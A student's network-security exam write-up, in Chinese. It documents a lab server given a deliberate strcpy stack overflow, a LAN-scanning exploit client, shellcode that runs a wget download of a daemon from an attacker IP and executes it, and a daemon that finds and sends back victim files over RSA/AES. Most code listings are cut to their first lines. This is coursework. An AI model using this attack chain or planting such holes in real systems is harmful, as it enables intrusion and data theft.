Network_Security final exam
总体设计
任务一:做一个服务端程序,其功能是:收到客户端请求之后,将请求中的字符串前后翻转,然后返回给客户端。(30 分)
任务二:基于上述服务程序,在保持基本功能的前提下,设计一个缓冲区溢出漏洞。并编写恶意客户端程序,扫描局域网内的所有机器,找到有该漏洞的服务端机器,在服务端机器上创建一个 txt 的文件,文件名是你的姓名.txt,文件内容是你的学号。(40 分)
任务三:利用上述漏洞,把一个自己设计的程序 daemon 送上服务端机器并运行,这个 daemon能够搜索服务器上的所有 txt 文件,并找出文件名中含有你的姓名的文件,并利用网络传送给客户端机器(传出的方法不限,例如:email,在线 socket 连接等)。(20 分)
任务四:在上述任务的基础上,设计一种密钥管理机制和传输加密方案,模拟将传输内容加密(包含文件名和文件内容)发送给客户端机器。用 wireshark 等工具抓取传输内容,证明未加密与加密的区别,并分析你所设计的密钥管理机制和传输加密方案的安全性。(10 分)
- 对于任务一的字符串前后翻转服务端程序,我使用c语言编写,编写简单的sokcet通信服务,缓冲区溢出漏洞在其业务函数中使用了strcpy()导致栈溢出的问题。
- 对于任务二的恶意客户端程序,我采用python编写,其功能有
- 扫描遍历局域网中的ip地址,通过socket尝试连接端口,找出有运行服务端程序的机器
- 与任务一的字符串前后翻转服务端程序交互,发出字符串,然后收到翻转后的字符串并打印
- exploit的功能,发送针对漏洞的payload(包含三种shellcode)
- 对于任务三中的程序 daemon,我使用python编写,能够搜索服务器上的任意指定文件(可以指定为我们的文件名中含有你的姓名的文件),并利用网络传送给客户端。
- 对于任务四中的密钥管理机制和传输加密方案
- 首先daemon.py作为服务器(受害方)被shellcode启动
- 客户端(攻击方),启动client.py通过socket连接上该服务器,创建非对称加密RSA密钥,发送公钥和公钥Sha256摘要给服务器
- 服务器(受害方)接收到RSA的公钥和公钥摘要之后,对公钥进行摘要判断,公钥是否被改动。如没有,就产生用于 AES 对称加密的密钥,将其用RSA公钥加密后,将其密文和密文摘要发给客户端(攻击方)
- 客户端(攻击方)同上用对 AES密钥进行摘要,判断是否被改动。如没有,双方便可以用 AES密钥进行通信的加密了。
- 用 wireshark 等工具抓取传输内容,证明未加密与加密的区别
- 如果传输文件内容未加密,则wireshark 抓取到socket发送的包,可以直接在data部分看到传输的内容
- 如果传输文件内容未加密,则抓取到的包,data部分是密文,无法被破译。
- 包含了三种shellcode——创建学号.txt、下载 daemon程序、运行daemon程序
- 创建学号.txt,汇编使用了linux的系统调用(32位下实验:调用号5打开文件、调用号6关闭文件)
- 下载 daemon程序,汇编使用了/usr/bin/wget程序来下载daemon(从攻击方开启的apache服务器中下载)
- 运行daemon程序,汇编通过/usr/bin/python daemon.py来运行
总结
这次的期末考试,看似内容很短,其实囊括了很多内容,很多功能要实现。对linux系统的一些操作、socket的通信、栈溢出漏洞的设计与调试、扫描ip端口、linux的文件搜索、密钥管理方案的设计、抓包的分析以及shellcode的编写,多多少少都学习到了一些,掌握了一些。
暴露了我一些致命的问题,对linux操作系统的不熟悉、对c、c++的陌生、很多概念只是口头上说着好,实际代码能力却不足,还希望能够进步。
觉得最大的收获估计是对linux系统的一些操作以及shellcode的编写吧,对shellcode不再是纸上谈兵。虽然shellcode可以用工具生成,但自己编写shellcode使我对其不再云里雾里,成就感很足。勾起了我安全方向的兴趣,不知道以后有没有缘分搞安全了。
查阅了很多资料,这次考试基本上是对这门课所学的、所实验的东西进行了一个汇总。这一学期也不容易,因为学的东西多呀,所以实验和大作业都很多。虽然花了很多时间,但还是很有收获的。
本次写shellcode遇到了一些困难,列举如下:
- 不清楚如何对不够4字节整数的字符串进行控制避免
00
字节——- 可以通过call
- 也可以通过linux中:
/
<=>/////
、x
<=>./////x
等来实现4字节整数
- 编译的位数问题,由于32位和64位的系统调用有所不同,如果想用32位的系统调用号,就要
nasm -felf32 wget.nasm -o wget.o
ld -m elf_i386 wget.o -o wget
- 对寄存器进行操作时出现操作数和寄存器的大小不一,出现
00
字节- 解决方法:
eax 32bit
ax 16bit
ah al 8bit
- 解决方法:
- 不清楚如何对不够4字节整数的字符串进行控制避免
任务一 字符串前后翻转服务端程序
任务一:做一个服务端程序,其功能是:收到客户端请求之后,将请求中的字符串前后翻转,然后返回给客户端。(30 分)
由于栈溢出的漏洞已经调过很多种类了:字符串复制栈溢出、整数栈溢出、格式化字符串栈溢出、堆溢出等等
而这次的实验,我觉得重点不在于漏洞的复杂性,所以索性编写了strcpy()函数栈溢出漏洞。
string前后翻转服务端程序,我使用c语言编写简单的sokcet服务,将客户端发来的字符串翻转之后回送。
1.1 漏洞原理
缓冲区溢出漏洞在于处理字符串时main()->reverse()->foo()->strcpy()中,由于strcpy()
在复制字符串时并未检查字符串的长度,使输入内容可以超过bufferA的空间,从而实现栈溢出,覆盖返回地址,跳到我们填入的shellcode。
1 | //漏洞部分 |
为了实现攻击,我们构造输入str,使其超出bufferA的部分恰好覆盖ebp的值和foo函数的栈返回ret,使该ret内容指向我们的shellcode,然后在foo返回之后即顺势跳到我们的shellcode,劫持成功。
如下为调试图
从图上可以看到,ebp位于bufferA+108
(我把GS关了),而bufferA只有100字节
,很奇怪
回头看了之前project1栈溢出实验中6个vul中的foo函数,他们都是foo函数中创建了buffer,然后调用一个漏洞函数来执行的,大概的格式如下:
1 | //5个栈溢出vul的基本格式 |
可以看到:在foo函数中只创建了一个局部变量,就call了下一个函数
而我的函数也是这种格式,却产生了bufferA只有100字节,ebp却位于bufferA+108
问题,这里表示疑惑,毕竟我所有的安全机制都关了。总而言之,不知道这8个字节意义是什么,但是却不影响我们溢出,所以暂且不管了。
(RELRO:RELRO会有Partial RELRO和FULL RELRO,如果开启FULL RELRO,意味着我们无法修改got表)
为了溢出,我们的shellcode可以如下拼接。
1 | #用于拼接字符串demon,具体的拼接函数可以选择三个shellcode进行拼接 |
下图为装载了创建文件的shellcode的payload
调试成功,成功创建LinFengLv.txt
1.2 收发数据
逆转字符串程序主要在reverse()中
1 |
|
任务二、恶意客户端程序
任务二:基于上述服务程序,在保持基本功能的前提下,设计一个缓冲区溢出漏洞。并编写恶意客户端程序,扫描局域网内的所有机器,找到有该漏洞的服务端机器,在服务端机器上创建一个 txt 的文件,文件名是你的姓名.txt,文件内容是你的学号。(40 分)
2.1 扫描找到有该漏洞的服务端机器
主要是
- 通过socket尝试连接
'8.8.8.8'
(任意),socket.getsockname()[0]
获得本机的局域网ip - 通过本机ip计算出所有局域网的ip
- 尝试socket连接局域网的ip的服务端端口(这里是8000),找出有运行服务端程序的机器
1 | # 创建互斥锁 |
2.2 正常通信——字符串前后翻转
与任务一的字符串前后翻转服务端程序交互,发出字符串,然后收到翻转后的字符串并打印
1 | while (1): |
2.3 exploit功能
发送针对漏洞的payload(包含shellcode)
shellcode的字节代码已经在全局变量写了,程序通过对我们输入的判断(1234等)来判断我们要用哪种模式。
工作模式有【1】创建txt文件 【2】发送daemon程序 【3】执行daemon文件 【其他】正常沟通(输入quit退出),其中1~3是exploit攻击,其他的则是正常通信。
1 | #通信主体函数 |
任务三、daemon程序
任务三:利用上述漏洞,把一个自己设计的程序 daemon 送上服务端机器并运行,这个 daemon能够搜索服务器上的所有 txt 文件,并找出文件名中含有你的姓名的文件,并利用网络传送给客户端机器(传出的方法不限,例如:email,在线 socket 连接等)。(20 分)
程序 daemon,我使用python编写,能够搜索服务器上的任意指定文件(可以指定为我们的文件名中含有你的姓名的文件),并利用网络传送给客户端。
3.1 搜索服务器上的任意指定文件
如下代码所示,其可以在指定的目录下,搜索我们指定文件名的文件,并且将其路径保存在routes中。
主要是使用了pythond的os库
1 | routes=[] #路径数组 |
3.2 利用网络传送指定文件给客户端
如下代码所示,
1 | #根据恶意客户端的要求,做出应答(如搜索发送文件) |
任务四、密钥管理机制和传输加密方案
任务四:在上述任务的基础上,设计一种密钥管理机制和传输加密方案,模拟将传输内容加密(包含文件名和文件内容)发送给客户端机器。用 wireshark 等工具抓取传输内容,证明未加密与加密的区别,并分析你所设计的密钥管理机制和传输加密方案的安全性。(10 分)
4.1 密钥管理机制和传输加密方案
客户端发送非对称加密RSA公钥给服务端,服务端创建对称加密AES密钥发送给客户端,之后两方通过AES进行通信
首先daemon.py作为服务器(受害方)被shellcode启动
客户端(攻击方),启动client.py通过socket连接上该服务器,创建非对称加密RSA密钥,发送公钥和公钥Sha256摘要给服务器
服务器(受害方)接收到RSA的公钥和公钥摘要之后,对公钥进行摘要判断,公钥是否被改动。如没有,就产生用于 AES 对称加密的密钥,将其用RSA公钥加密后,将其密文和密文摘要发给客户端(攻击方)
客户端(攻击方)同上用对 AES密钥进行摘要,判断是否被改动。如没有,双方便可以用 AES密钥进行通信的加密了。
客户端(攻击方)代码
1 | # ===========向服务端(daemon)发RSA的公钥及其SHA256摘要================= |
服务端(daemon)代码
1 | def link_one_client(self): |
4.2 用 wireshark 等工具抓取传输内容,证明未加密与加密的区别
首先我们先把daemon.py和client.py的加密关掉,启动后client向daemon请求LinFengLv.txt。
可以看到如果传输文件内容未加密,则wireshark 抓取到socket发送的包,可以直接在data部分看到传输内容明文
我们开启加密
如下,如果传输文件内容加密,则抓取到的包,data部分是密文,无法被破译。
4.3 分析密钥管理和传输加密方案的安全性
首先daemon.py作为服务器(受害方)被shellcode启动
客户端(攻击方),启动client.py通过socket连接上该服务器,创建非对称加密RSA密钥,发送公钥和公钥Sha256摘要给服务器
服务器(受害方)接收到RSA的公钥和公钥摘要之后,对公钥进行摘要判断,公钥是否被改动。如没有,就产生用于 AES 对称加密的密钥,将其用RSA公钥加密后,将其密文和密文摘要发给客户端(攻击方)
客户端(攻击方)同上用对 AES密钥进行摘要,判断是否被改动。如没有,双方便可以用 AES密钥进行通信的加密了。
分析:
方案:客户端创建并发送非对称加密RSA公钥给服务端,服务端创建对称加密AES密钥发送给客户端,之后两方通过AES进行通信。
- 可以有效保障传输内容的保密性:方案采用了AES对称加密通信的内容,并且使用了非对称加密RSA来对AES密钥进行加密
- 防止传输密钥时的中间人攻击:在传输RSA的公钥、传输AES的密钥时,同时都会发送其对应的Sha256哈希摘要,通过摘要验证的方式防止传输密钥包时的中间人改动攻击。
- 时效性强,防止重放攻击:由于我们的daemon服务端是shellcode启动的,主要功能是为客户端(攻击方)搜索发送指定的文件(姓名.txt),所以很快就关闭了。在交换密钥完成之后,就发送文件完毕。这些操作都是在很短的时间内完成的(所以消息中没有加入时间戳),而每次daemon服务端的启动,客户端都需要与其重新创建密钥并且交换密钥,密钥的产生很随机。时效性很强,可以有效的方式重放攻击。
五、Shellcode介绍
5.1 创建 学号.txt
主要是利用了linux中的系统调用int 80来实现的,eax寄存器中为调用的功能号,ebx、ecx、edx、esi等等寄存器则依次为参数,从 /usr/include/asm/unistd.h
中可以看到。
在本shellcode中我们的操作如下
- 首先5号调用open系统调用,创建文件
LinFengLv.txt
- 然后4号调用write系统调用,写文件内容
2017301500076
1 | ;cat /usr/include/asm/unistd.h | less总共有383条 |
以32位linux为例(64位下系统调用号是不同的):
打开文件的调用号为5,将5存入eax,ebx存入文件路径字符串的首地址,ecx存入打开方式,只读为“0”,写为“03101”,edx存入权限集合,现在存入“0666”就行了,反正我不懂unix的权限。打开成功后,系统会返回该文件的“文件标识符”,在eax里面。之后全程都要用这个文件标识符指代打开的那个文件。
读取文件的调用号为3,存入eax,文件标识符存入ebx,在此之前,要划一个缓存区,用来储存读取的数据,将该缓存区的首地址存入ecx,长度存入edx。读取成功后,会按照edx中的长度填充缓存区,就是edx的值是多少,就填充多少(当然,由文件的长度而定),返回已经读取的长度。
写入文件的调用号为4,存入eax,其余参数同上。返回写入的字节数或者错误代码(写入失败),存入eax。
关闭文件的调用号为6,存入eax,文件描述符存入ebx。只有这两个参数。
字节码和汇编代码如下,注释了
1 | ;################字节码############# |
5.2 下载 daemon程序
主要是利用了linux中的系统调用int 80来实现的,eax寄存器中为调用的功能号,ebx、ecx、edx、esi等等寄存器则依次为参数,从 /usr/include/asm/unistd.h
中可以看到。
1 | ;cat /usr/include/asm/unistd.h | less总共有383条 |
在本shellcode中我们的操作:
调用execve系统调用来执行命令行(从攻击方开启的apache服务器中下载daemon.py):
1 | /usr/bin/wget 192.168.30.131/f/daemon.py |
字节码和汇编代码如下,注释了
1 | ;################字节码############# |
5.3 运行daemon程序
主要是利用了linux中的系统调用int 80来实现的,eax寄存器中为调用的功能号,ebx、ecx、edx、esi等等寄存器则依次为参数,从 /usr/include/asm/unistd.h
中可以看到。
1 | ;cat /usr/include/asm/unistd.h | less总共有383条 |
在本shellcode中我们的操作:
调用execve系统调用来执行命令行(执行daemon.py):
1 | /usr/bin/python daemon.py |
字节码和汇编代码如下,注释了
1 | ;################字节码############# |
六、任务二、三总体代码
6.1 字符串翻转服务端程序 server.c
1 |
|
6.2 恶意客户端程序 attack.py
1 | # -*- coding: UTF-8 -*- |
6.3 daemon服务端(受害方)程序 daemonl.py
1 | # -*- coding: UTF-8 -*- |
6.4 daemon客户端(攻击方)程序 client.py
1 | # -*- coding: UTF-8 -*- |